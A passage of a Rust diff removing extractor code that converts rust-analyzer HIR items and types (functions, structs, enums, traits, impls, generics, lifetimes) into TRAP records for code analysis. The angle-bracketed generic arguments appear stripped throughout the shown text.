emit_module_items( - db: &dyn HirDatabase, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - let mut items: Vec> = Vec::new(); - let mut uses = HashMap::new(); - let item_scope = &module.scope; - for (name, item) in item_scope.entries() { - let def = item.filter_visibility(|x| matches!(x, ra_ap_hir::Visibility::Public)); - if let Some(ra_ap_hir_def::per_ns::Item { - def: _, - vis: _, - import: Some(import), - }) = def.values - { - emit_reexport(db, trap, &mut uses, import, name.as_str()); - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: value, - vis, - import: None, - }) = def.values - { - match value { - ModuleDefId::FunctionId(function) => { - items.push(emit_function(db, trap, None, function, name).into()); - } - ModuleDefId::ConstId(konst) => { - items.extend( - emit_const(db, trap, None, name.as_str(), konst, vis) - .map(Into::>::into), - ); - } - ModuleDefId::StaticId(statik) => { - items.extend(emit_static(db, name.as_str(), trap, statik, vis)); - } - // Enum variants can only be introduced into the value namespace by an import (`use`) statement - ModuleDefId::EnumVariantId(_) => (), - // Not in the "value" namespace - ModuleDefId::ModuleId(_) - | ModuleDefId::AdtId(_) - | ModuleDefId::TraitId(_) - | ModuleDefId::TraitAliasId(_) - | ModuleDefId::TypeAliasId(_) - | ModuleDefId::BuiltinType(_) - | ModuleDefId::MacroId(_) => (), - } - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: _, - vis: _, - import: Some(import), - }) = def.types - { - // TODO: handle ExternCrate as well? - if let Some(import) = import.import_or_glob() { - emit_reexport(db, trap, &mut uses, import, name.as_str()); - } - } - if let Some(ra_ap_hir_def::per_ns::Item { - def: type_id, - vis, - import: None, - }) = def.types - { - match type_id { - ModuleDefId::AdtId(adt_id) => { - items.extend(emit_adt(db, name.as_str(), trap, adt_id, vis)); - } - ModuleDefId::TraitId(trait_id) => { - items.extend(emit_trait(db, name.as_str(), trap, trait_id, vis)); - } - ModuleDefId::TypeAliasId(type_alias_id_) => items.extend( - emit_type_alias(db, trap, None, name.as_str(), type_alias_id_, vis) - .map(Into::>::into), - ), - ModuleDefId::TraitAliasId(_) => (), - ModuleDefId::BuiltinType(_) => (), - // modules are handled separatedly - ModuleDefId::ModuleId(_) => (), - // Enum variants cannot be declarted, only imported - ModuleDefId::EnumVariantId(_) => (), - // Not in the "types" namespace - ModuleDefId::FunctionId(_) - | ModuleDefId::ConstId(_) - | ModuleDefId::StaticId(_) - | ModuleDefId::MacroId(_) => (), - } - } - } - items.extend(uses.values()); - items -} - -fn emit_function( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - function: ra_ap_hir_def::FunctionId, - name: &ra_ap_hir::Name, -) -> trap::Label { - let sig = db.callable_item_signature(function.into()); - let parameters = collect_generic_parameters(db, function.into(), container); - - assert_eq!(sig.binders.len(Interner), parameters.len()); - let sig = sig.skip_binders(); - let ty_vars = &[parameters]; - let function_data = db.function_data(function); - let mut self_param = None; - let params = sig - .params() - .iter() - .enumerate() - .filter_map(|(idx, p)| { - let type_repr = emit_hir_ty(trap, db, ty_vars, p); - - if idx == 0 && function_data.has_self_param() { - // Check if the self parameter is a reference - let (is_ref, is_mut) = match p.kind(Interner) { - chalk_ir::TyKind::Ref(mutability, _, _) => { - (true, matches!(mutability, chalk_ir::Mutability::Mut)) - } - chalk_ir::TyKind::Raw(mutability, _) => { - (false, matches!(mutability, chalk_ir::Mutability::Mut)) - } - _ => (false, false), - }; - - self_param = Some(trap.emit(generated::SelfParam { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - is_ref, - is_mut, - lifetime: None, - name: None, - })); - None - } else { - Some(trap.emit(generated::Param { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - pat: None, - })) - } - }) - .collect(); - - let ret_type = emit_hir_ty(trap, db, ty_vars, sig.ret()); - - let param_list = trap.emit(generated::ParamList { - id: trap::TrapId::Star, - params, - self_param, - }); - let ret_type = ret_type.map(|ret_type| { - trap.emit(generated::RetTypeRepr { - id: trap::TrapId::Star, - type_repr: Some(ret_type), - }) - }); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.as_str().to_owned()), - })); - let data = db.function_data(function); - let visibility = emit_visibility( - db, - trap, - data.visibility - .resolve(db.upcast(), &function.resolver(db.upcast())), - ); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, function.into()); - trap.emit(generated::Function { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - is_const: data.is_const(), - is_default: data.is_default(), - visibility, - abi: None, - is_async: data.is_async(), - is_gen: false, - is_unsafe: data.is_unsafe(), - generic_param_list, - param_list: Some(param_list), - ret_type, - where_clause: None, - }) -} - -fn collect_generic_parameters( - db: &dyn HirDatabase, - def: GenericDefId, - container: Option, -) -> Vec { - let mut parameters = Vec::new(); - let gen_params = db.generic_params(def); - collect(&gen_params, &mut parameters); - if let Some(gen_params) = container.map(|container| db.generic_params(container)) { - collect(gen_params.as_ref(), &mut parameters); - } - return parameters; - - fn collect(gen_params: &GenericParams, parameters: &mut Vec) { - // Self, Lifetimes, TypesOrConsts - let skip = if gen_params.trait_self_param().is_some() { - parameters.push("Self".into()); - 1 - } else { - 0 - }; - parameters.extend(gen_params.iter_lt().map(|(_, lt)| lt.name.as_str().into())); - parameters.extend(gen_params.iter_type_or_consts().skip(skip).map(|(_, p)| { - p.name() - .map(|p| p.as_str().into()) - .unwrap_or("{error}".into()) - })); - } -} - -fn emit_const( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - name: &str, - konst: ra_ap_hir_def::ConstId, - visibility: Visibility, -) -> Option> { - let type_ = db.value_ty(konst.into()); - let parameters = collect_generic_parameters(db, konst.into(), container); - assert_eq!( - type_ - .as_ref() - .map_or(0, |type_| type_.binders.len(Interner)), - parameters.len() - ); - let ty_vars = &[parameters]; - let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, ty_vars, type_.skip_binders())); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let konst = db.const_data(konst); - let visibility = emit_visibility(db, trap, visibility); - Some(trap.emit(generated::Const { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - is_const: true, - is_default: konst.has_body(), - type_repr, - visibility, - })) -} - -fn emit_static( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - statik: ra_ap_hir_def::StaticId, - visibility: Visibility, -) -> Option> { - let type_ = db.value_ty(statik.into()); - let parameters = collect_generic_parameters(db, statik.into(), None); - assert_eq!( - type_ - .as_ref() - .map_or(0, |type_| type_.binders.len(Interner)), - parameters.len() - ); - let ty_vars = &[parameters]; - let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, ty_vars, type_.skip_binders())); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let statik = db.static_data(statik); - let visibility = emit_visibility(db, trap, visibility); - Some( - trap.emit(generated::Static { - id: trap::TrapId::Star, - name, - attrs: vec![], - body: None, - type_repr, - visibility, - is_mut: statik.mutable(), - is_static: true, - is_unsafe: statik.has_unsafe_kw(), - }) - .into(), - ) -} - -fn emit_type_alias( - db: &dyn HirDatabase, - trap: &mut TrapFile, - container: Option, - name: &str, - alias_id: ra_ap_hir_def::TypeAliasId, - visibility: Visibility, -) -> Option> { - let (type_, _) = db.type_for_type_alias_with_diagnostics(alias_id); - let parameters = collect_generic_parameters(db, alias_id.into(), container); - assert_eq!(type_.binders.len(Interner), parameters.len()); - let ty_vars = &[parameters]; - let type_repr = emit_hir_ty(trap, db, ty_vars, type_.skip_binders()); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let alias = db.type_alias_data(alias_id); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, alias_id.into()); - Some(trap.emit(generated::TypeAlias { - id: trap::TrapId::Star, - name, - attrs: vec![], - is_default: container.is_some() && alias.type_ref.is_some(), - type_repr, - visibility, - generic_param_list, - type_bound_list: None, - where_clause: None, - })) -} - -fn emit_generic_param_list( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - def: GenericDefId, -) -> Option> { - let params = db.generic_params(def); - let trait_self_param = params.trait_self_param(); - if params.is_empty() || params.len() == 1 && trait_self_param.is_some() { - return None; - } - let mut generic_params = Vec::new(); - generic_params.extend(params.iter_lt().map( - |(_, param)| -> trap::Label { - let lifetime = trap - .emit(generated::Lifetime { - id: trap::TrapId::Star, - text: Some(param.name.as_str().to_owned()), - }) - .into(); - - trap.emit(generated::LifetimeParam { - id: trap::TrapId::Star, - attrs: vec![], - lifetime, - type_bound_list: None, - }) - .into() - }, - )); - generic_params.extend( - params - .iter_type_or_consts() - .filter(|(id, _)| trait_self_param != Some(*id)) - .map( - |(param_id, param)| -> trap::Label { - match param { - TypeOrConstParamData::TypeParamData(param) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: param.name.as_ref().map(|name| name.as_str().to_owned()), - })); - let resolver = def.resolver(db.upcast()); - let mut ctx = TyLoweringContext::new( - db, - &resolver, - ¶ms.types_map, - def.into(), - ); - - let default_type = param - .default - .and_then(|ty| emit_hir_ty(trap, db, ty_vars, &ctx.lower_ty(ty))); - trap.emit(generated::TypeParam { - id: trap::TrapId::Star, - attrs: vec![], - name, - default_type, - type_bound_list: None, - }) - .into() - } - TypeOrConstParamData::ConstParamData(param) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: param.name.as_str().to_owned().into(), - })); - let param_id = TypeOrConstParamId { - parent: def, - local_id: param_id, - }; - let ty = db.const_param_ty(ConstParamId::from_unchecked(param_id)); - let type_repr = emit_hir_ty(trap, db, ty_vars, &ty); - trap.emit(generated::ConstParam { - id: trap::TrapId::Star, - attrs: vec![], - name, - default_val: None, - is_const: true, - type_repr, - }) - .into() - } - } - }, - ), - ); - trap.emit(generated::GenericParamList { - id: trap::TrapId::Star, - generic_params, - }) - .into() -} -fn emit_adt( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - adt_id: ra_ap_hir_def::AdtId, - visibility: Visibility, -) -> Option> { - let parameters = collect_generic_parameters(db, adt_id.into(), None); - let ty_vars = &[parameters]; - - match adt_id { - ra_ap_hir_def::AdtId::StructId(struct_id) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let field_list = emit_variant_data(trap, db, ty_vars, struct_id.into()).into(); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Struct { - id: trap::TrapId::Star, - name, - attrs: vec![], - field_list, - generic_param_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - ra_ap_hir_def::AdtId::EnumId(enum_id) => { - let data = db.enum_variants(enum_id); - let variants = data - .variants - .iter() - .map(|(enum_id, name)| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.as_str().to_owned()), - })); - let field_list = emit_variant_data(trap, db, ty_vars, (*enum_id).into()).into(); - let visibility = None; - trap.emit(generated::Variant { - id: trap::TrapId::Star, - name, - field_list, - attrs: vec![], - discriminant: None, - visibility, - }) - }) - .collect(); - let variant_list = Some(trap.emit(generated::VariantList { - id: trap::TrapId::Star, - variants, - })); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Enum { - id: trap::TrapId::Star, - name, - attrs: vec![], - generic_param_list, - variant_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - ra_ap_hir_def::AdtId::UnionId(union_id) => { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let struct_field_list = emit_variant_data(trap, db, ty_vars, union_id.into()).into(); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, adt_id.into()); - Some( - trap.emit(generated::Union { - id: trap::TrapId::Star, - name, - attrs: vec![], - struct_field_list, - generic_param_list, - visibility, - where_clause: None, - }) - .into(), - ) - } - } -} - -fn emit_trait( - db: &dyn HirDatabase, - name: &str, - trap: &mut TrapFile, - trait_id: ra_ap_hir_def::TraitId, - visibility: Visibility, -) -> Option> { - let parameters = collect_generic_parameters(db, trait_id.into(), None); - let ty_vars = &[parameters]; - let trait_items = db.trait_items(trait_id); - let assoc_items: Vec> = trait_items - .items - .iter() - .flat_map(|(name, item)| match item { - AssocItemId::FunctionId(function_id) => { - Some(emit_function(db, trap, Some(trait_id.into()), *function_id, name).into()) - } - - AssocItemId::ConstId(const_id) => emit_const( - db, - trap, - Some(trait_id.into()), - name.as_str(), - *const_id, - visibility, - ) - .map(Into::into), - AssocItemId::TypeAliasId(type_alias_id) => emit_type_alias( - db, - trap, - Some(trait_id.into()), - name.as_str(), - *type_alias_id, - visibility, - ) - .map(Into::into), - }) - .collect(); - let assoc_item_list = Some(trap.emit(generated::AssocItemList { - id: trap::TrapId::Star, - assoc_items, - attrs: vec![], - })); - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(name.to_owned()), - })); - let visibility = emit_visibility(db, trap, visibility); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, trait_id.into()); - Some( - trap.emit(generated::Trait { - id: trap::TrapId::Star, - name, - assoc_item_list, - attrs: vec![], - generic_param_list, - is_auto: false, - is_unsafe: false, - type_bound_list: None, - visibility, - where_clause: None, - }) - .into(), - ) -} - -fn emit_module_impls( - db: &dyn HirDatabase, - module: &ModuleData, - trap: &mut TrapFile, -) -> Vec> { - let mut items = Vec::new(); - module.scope.impls().for_each(|imp| { - let self_ty = db.impl_self_ty(imp); - let parameters = collect_generic_parameters(db, imp.into(), None); - let parameters_len = parameters.len(); - assert_eq!(self_ty.binders.len(Interner), parameters_len); - - let ty_vars = &[parameters]; - let self_ty = emit_hir_ty(trap, db, ty_vars, self_ty.skip_binders()); - let path = db.impl_trait(imp).map(|trait_ref| { - assert_eq!(trait_ref.binders.len(Interner), parameters_len); - trait_path(db, trap, ty_vars, trait_ref.skip_binders()) - }); - let trait_ = path.map(|path| { - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into() - }); - let imp_items = db.impl_items(imp); - let assoc_items = imp_items - .items - .iter() - .flat_map(|item| { - if let (name, AssocItemId::FunctionId(function)) = item { - Some(emit_function(db, trap, Some(imp.into()), *function, name).into()) - } else { - None - } - }) - .collect(); - let assoc_item_list = Some(trap.emit(generated::AssocItemList { - id: trap::TrapId::Star, - assoc_items, - attrs: vec![], - })); - let generic_param_list = emit_generic_param_list(trap, db, ty_vars, imp.into()); - items.push( - trap.emit(generated::Impl { - id: trap::TrapId::Star, - trait_, - self_ty, - assoc_item_list, - attrs: vec![], - generic_param_list, - is_const: false, - is_default: false, - is_unsafe: false, - visibility: None, - where_clause: None, - }) - .into(), - ); - }); - items -} - -fn emit_visibility( - db: &dyn HirDatabase, - trap: &mut TrapFile, - visibility: Visibility, -) -> Option> { - let path = match visibility { - Visibility::Module(module_id, VisibilityExplicitness::Explicit) => { - Some(make_path_mod(db.upcast(), module_id)) - } - Visibility::Public => Some(vec![]), - Visibility::Module(_, VisibilityExplicitness::Implicit) => None, - }; - path.map(|path| { - let path = make_qualified_path(trap, path, None); - trap.emit(generated::Visibility { - id: trap::TrapId::Star, - path, - }) - }) -} -fn push_ty_vars(ty_vars: &[Vec], vars: Vec) -> Vec> { - let mut result = ty_vars.to_vec(); - result.push(vars); - result -} -fn emit_hir_type_bound( - db: &dyn HirDatabase, - trap: &mut TrapFile, - ty_vars: &[Vec], - type_bound: &Binders>, -) -> Option> { - // Rust-analyzer seems to call `wrap_empty_binders` on `WhereClause`s. - let parameters = vec![]; - assert_eq!(type_bound.binders.len(Interner), parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - match type_bound.skip_binders() { - WhereClause::Implemented(trait_ref) => { - let path = trait_path(db, trap, ty_vars, trait_ref); - let type_repr = Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ); - Some(trap.emit(generated::TypeBound { - id: trap::TrapId::Star, - is_async: false, - is_const: false, - lifetime: None, - type_repr, - use_bound_generic_args: None, - })) - } - WhereClause::AliasEq(_) - | WhereClause::LifetimeOutlives(_) - | WhereClause::TypeOutlives(_) => None, // TODO - } -} - -fn trait_path( - db: &dyn HirDatabase, - trap: &mut TrapFile, - ty_vars: &[Vec], - trait_ref: &chalk_ir::TraitRef, -) -> Option> { - let mut path = make_path(db, trait_ref.hir_trait_id()); - path.push( - db.trait_data(trait_ref.hir_trait_id()) - .name - .as_str() - .to_owned(), - ); - let generic_arg_list = emit_generic_arg_list( - trap, - db, - ty_vars, - &trait_ref.substitution.as_slice(Interner)[1..], - ); - - make_qualified_path(trap, path, generic_arg_list) -} - -fn emit_hir_fn_ptr( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - function: &FnPointer, -) -> trap::Label { - // Currently rust-analyzer does not handle `for<'a'> fn()` correctly: - // ```rust - // TyKind::Function(FnPointer { - // num_binders: 0, // FIXME lower `for<'a> fn()` correctly - // ``` - // https://github.com/rust-lang/rust-analyzer/blob/c5882732e6e6e09ac75cddd13545e95860be1c42/crates/hir-ty/src/lower.rs#L325 - let parameters = vec![]; - assert_eq!(function.num_binders, parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - let parameters: Vec<_> = function.substitution.0.type_parameters(Interner).collect(); - - let (ret_type, params) = parameters.split_last().unwrap(); - - let ret_type = emit_hir_ty(trap, db, ty_vars, ret_type); - let ret_type = Some(trap.emit(generated::RetTypeRepr { - id: trap::TrapId::Star, - type_repr: ret_type, - })); - let params = params - .iter() - .map(|t| { - let type_repr = emit_hir_ty(trap, db, ty_vars, t); - trap.emit(generated::Param { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - pat: None, - }) - }) - .collect(); - let param_list = Some(trap.emit(generated::ParamList { - id: trap::TrapId::Star, - params, - self_param: None, - })); - let is_unsafe = matches!(function.sig.safety, ra_ap_hir::Safety::Unsafe); - trap.emit(generated::FnPtrTypeRepr { - id: trap::TrapId::Star, - abi: None, - is_async: false, - is_const: false, - is_unsafe, - ret_type, - param_list, - }) -} - -fn scalar_to_str(scalar: &Scalar) -> &'static str { - match scalar { - Scalar::Bool => "bool", - Scalar::Char => "char", - Scalar::Int(IntTy::I8) => "i8", - Scalar::Int(IntTy::I16) => "i16", - Scalar::Int(IntTy::I32) => "i32", - Scalar::Int(IntTy::I64) => "i64", - Scalar::Int(IntTy::I128) => "i128", - Scalar::Int(IntTy::Isize) => "isize", - Scalar::Uint(UintTy::U8) => "u8", - Scalar::Uint(UintTy::U16) => "u16", - Scalar::Uint(UintTy::U32) => "u32", - Scalar::Uint(UintTy::U64) => "u64", - Scalar::Uint(UintTy::U128) => "u128", - Scalar::Uint(UintTy::Usize) => "usize", - Scalar::Float(FloatTy::F16) => "f16", - Scalar::Float(FloatTy::F32) => "f32", - Scalar::Float(FloatTy::F64) => "f64", - Scalar::Float(FloatTy::F128) => "f128", - } -} - -fn make_path(db: &dyn HirDatabase, item: impl HasModule) -> Vec { - let db = db.upcast(); - let module = item.module(db); - make_path_mod(db, module) -} - -fn make_path_mod(db: &dyn DefDatabase, module: ModuleId) -> Vec { - let mut path = Vec::new(); - let mut module = module; - loop { - if module.is_block_module() { - path.push("".to_owned()); - } else if let Some(name) = module.name(db).map(|x| x.as_str().to_owned()).or_else(|| { - module.as_crate_root().and_then(|k| { - let krate = k.krate().extra_data(db); - krate - .display_name - .as_ref() - .map(|x| x.canonical_name().to_string()) - }) - }) { - path.push(name); - } else { - path.push("".to_owned()); - } - if let Some(parent) = module.containing_module(db) { - module = parent; - } else { - break; - } - } - path.reverse(); - path -} - -fn make_qualified_path( - trap: &mut TrapFile, - path: Vec, - generic_arg_list: Option>, -) -> Option> { - fn qualified_path( - trap: &mut TrapFile, - qualifier: Option>, - name: String, - generic_arg_list: Option>, - ) -> trap::Label { - let identifier = Some(trap.emit(generated::NameRef { - id: trap::TrapId::Star, - text: Some(name), - })); - let segment = Some(trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list, - identifier, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - })); - trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier, - segment, - }) - } - let args = std::iter::repeat_n(None, &path.len() - 1).chain(std::iter::once(generic_arg_list)); - path.into_iter() - .zip(args) - .fold(None, |q, (p, a)| Some(qualified_path(trap, q, p, a))) -} -fn emit_hir_ty( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - ty: &Ty, -) -> Option> { - match ty.kind(ra_ap_hir_ty::Interner) { - chalk_ir::TyKind::Never => Some( - trap.emit(generated::NeverTypeRepr { - id: trap::TrapId::Star, - }) - .into(), - ), - - chalk_ir::TyKind::Placeholder(_index) => Some( - trap.emit(generated::InferTypeRepr { - id: trap::TrapId::Star, - }) - .into(), - ), - - chalk_ir::TyKind::Tuple(_size, substitution) => { - let fields = substitution.type_parameters(ra_ap_hir_ty::Interner); - let fields = fields - .flat_map(|field| emit_hir_ty(trap, db, ty_vars, &field)) - .collect(); - - Some( - trap.emit(generated::TupleTypeRepr { - id: trap::TrapId::Star, - fields, - }) - .into(), - ) - } - chalk_ir::TyKind::Raw(mutability, ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - - Some( - trap.emit(generated::PtrTypeRepr { - id: trap::TrapId::Star, - is_mut: matches!(mutability, chalk_ir::Mutability::Mut), - is_const: false, - type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Ref(mutability, lifetime, ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - let lifetime = emit_lifetime(trap, ty_vars, lifetime); - Some( - trap.emit(generated::RefTypeRepr { - id: trap::TrapId::Star, - is_mut: matches!(mutability, chalk_ir::Mutability::Mut), - lifetime: Some(lifetime), - type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Array(ty, _konst) => { - let element_type_repr = emit_hir_ty(trap, db, ty_vars, ty); - // TODO: handle array size constant - Some( - trap.emit(generated::ArrayTypeRepr { - id: trap::TrapId::Star, - const_arg: None, - element_type_repr, - }) - .into(), - ) - } - chalk_ir::TyKind::Slice(ty) => { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - Some( - trap.emit(generated::SliceTypeRepr { - id: trap::TrapId::Star, - type_repr, - }) - .into(), - ) - } - - chalk_ir::TyKind::Adt(adt_id, substitution) => { - let mut path = make_path(db, adt_id.0); - let name = match adt_id.0 { - ra_ap_hir_def::AdtId::StructId(struct_id) => { - db.struct_data(struct_id).name.as_str().to_owned() - } - ra_ap_hir_def::AdtId::UnionId(union_id) => { - db.union_data(union_id).name.as_str().to_owned() - } - ra_ap_hir_def::AdtId::EnumId(enum_id) => { - db.enum_data(enum_id).name.as_str().to_owned() - } - }; - path.push(name); - let generic_arg_list = - emit_generic_arg_list(trap, db, ty_vars, substitution.as_slice(Interner)); - let path = make_qualified_path(trap, path, generic_arg_list); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Scalar(scalar) => { - let path = make_qualified_path(trap, vec![scalar_to_str(scalar).to_owned()], None); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Str => { - let path = make_qualified_path(trap, vec!["str".to_owned()], None); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Function(fn_pointer) => { - Some(emit_hir_fn_ptr(trap, db, ty_vars, fn_pointer).into()) - } - chalk_ir::TyKind::OpaqueType(_, _) - | chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Opaque(_)) => { - let bounds = ty - .impl_trait_bounds(db) - .iter() - .flatten() - .flat_map(|t| emit_hir_type_bound(db, trap, ty_vars, t)) - .collect(); - let type_bound_list = Some(trap.emit(generated::TypeBoundList { - id: trap::TrapId::Star, - bounds, - })); - Some( - trap.emit(generated::ImplTraitTypeRepr { - id: trap::TrapId::Star, - type_bound_list, - }) - .into(), - ) - } - chalk_ir::TyKind::Dyn(dyn_ty) => { - let parameters = vec!["Self".to_owned()]; - assert_eq!(dyn_ty.bounds.binders.len(Interner), parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - let bounds = dyn_ty - .bounds - .skip_binders() - .iter(ra_ap_hir_ty::Interner) - .flat_map(|t| emit_hir_type_bound(db, trap, ty_vars, t)) - .collect(); - let type_bound_list = Some(trap.emit(generated::TypeBoundList { - id: trap::TrapId::Star, - bounds, - })); - Some( - trap.emit(generated::DynTraitTypeRepr { - id: trap::TrapId::Star, - type_bound_list, - }) - .into(), - ) - } - chalk_ir::TyKind::FnDef(fn_def_id, parameters) => { - let sig = ra_ap_hir_ty::CallableSig::from_def(db, *fn_def_id, parameters); - Some(emit_hir_fn_ptr(trap, db, ty_vars, &sig.to_fn_ptr()).into()) - } - - chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Projection(ProjectionTy { - associated_ty_id, - substitution, - })) - | chalk_ir::TyKind::AssociatedType(associated_ty_id, substitution) => { - let pt = ProjectionTy { - associated_ty_id: *associated_ty_id, - substitution: substitution.clone(), - }; - - // >::Name<...> - - let qualifier = trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list: None, - identifier: None, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - }); - let self_ty = pt.self_type_parameter(db); - let self_ty = emit_hir_ty(trap, db, ty_vars, &self_ty); - if let Some(self_ty) = self_ty { - generated::PathSegment::emit_type_repr(qualifier, self_ty, &mut trap.writer) - } - let trait_ref = pt.trait_ref(db); - let trait_ref = trait_path(db, trap, ty_vars, &trait_ref); - let trait_ref = trait_ref.map(|path| { - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path: Some(path), - }) - }); - if let Some(trait_ref) = trait_ref { - generated::PathSegment::emit_trait_type_repr(qualifier, trait_ref, &mut trap.writer) - } - let data = db.type_alias_data(from_assoc_type_id(*associated_ty_id)); - - let identifier = Some(trap.emit(generated::NameRef { - id: trap::TrapId::Star, - text: Some(data.name.as_str().to_owned()), - })); - let segment = trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list: None, - identifier, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - }); - let qualifier = trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier: None, - segment: Some(qualifier), - }); - let path = trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier: Some(qualifier), - segment: Some(segment), - }); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path: Some(path), - }) - .into(), - ) - } - chalk_ir::TyKind::BoundVar(var) => { - let var_ = ty_vars - .get(ty_vars.len() - 1 - var.debruijn.depth() as usize) - .and_then(|ty_vars| ty_vars.get(var.index)); - let path = make_qualified_path( - trap, - vec![ - var_.unwrap_or(&format!("E_{}_{}", var.debruijn.depth(), var.index)) - .clone(), - ], - None, - ); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Foreign(_) - | chalk_ir::TyKind::Closure(_, _) - | chalk_ir::TyKind::Coroutine(_, _) - | chalk_ir::TyKind::CoroutineWitness(_, _) - | chalk_ir::TyKind::InferenceVar(_, _) - | chalk_ir::TyKind::Error => { - debug!("Unexpected type {:#?}", ty.kind(ra_ap_hir_ty::Interner)); - None - } - } -} - -fn emit_generic_arg_list( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - args: &[GenericArg], -) -> Option> { - if args.is_empty() { - return None; - } - let generic_args = args - .iter() - .flat_map(|arg| { - if let Some(ty) = arg.ty(Interner) { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - Some( - trap.emit(generated::TypeArg { - id: trap::TrapId::Star, - type_repr, - }) - .into(), - ) - } else if let Some(l) = arg.lifetime(Interner) { - let lifetime = emit_lifetime(trap, ty_vars, l); - Some( - trap.emit(generated::LifetimeArg { - id: trap::TrapId::Star, - lifetime: Some(lifetime), - }) - .into(), - ) - } else if arg.constant(Interner).is_some() { - Some( - trap.emit(generated::ConstArg { - id: trap::TrapId::Star, - expr: None, - }) - .into(), - ) - } else { - None - } - }) - .collect(); - - trap.emit(generated::GenericArgList { - id: trap::TrapId::Star, - generic_args, - }) - .into() -} - -fn emit_lifetime( - trap: &mut TrapFile, - ty_vars: &[Vec], - l: &chalk_ir::Lifetime, -) -> trap::Label { - let text = match l.data(Interner) { - chalk_ir::LifetimeData::BoundVar(var) => { - let var_ = ty_vars - .get(ty_vars.len() - 1 - var.debruijn.depth() as usize) - .and_then(|ty_vars| ty_vars.get(var.index)); - - Some(var_.map(|v| v.to_string()).unwrap_or(format!( - "'E_{}_{}", - var.debruijn.depth(), - var.index - ))) - } - chalk_ir::LifetimeData::Static => "'static'".to_owned().into(), - chalk_ir::LifetimeData::InferenceVar(_) - | chalk_ir::LifetimeData::Placeholder(_) - | chalk_ir::LifetimeData::Erased - | chalk_ir::LifetimeData::Phantom(_, _) - | chalk_ir::LifetimeData::Error => None, - }; - trap.emit(generated::Lifetime { - id: trap::TrapId::Star, - text, - }) -} - -enum Variant { - Unit, - Record(trap::Label), - Tuple(trap::Label), -} - -impl From for Option> { - fn from(val: Variant) -> Self 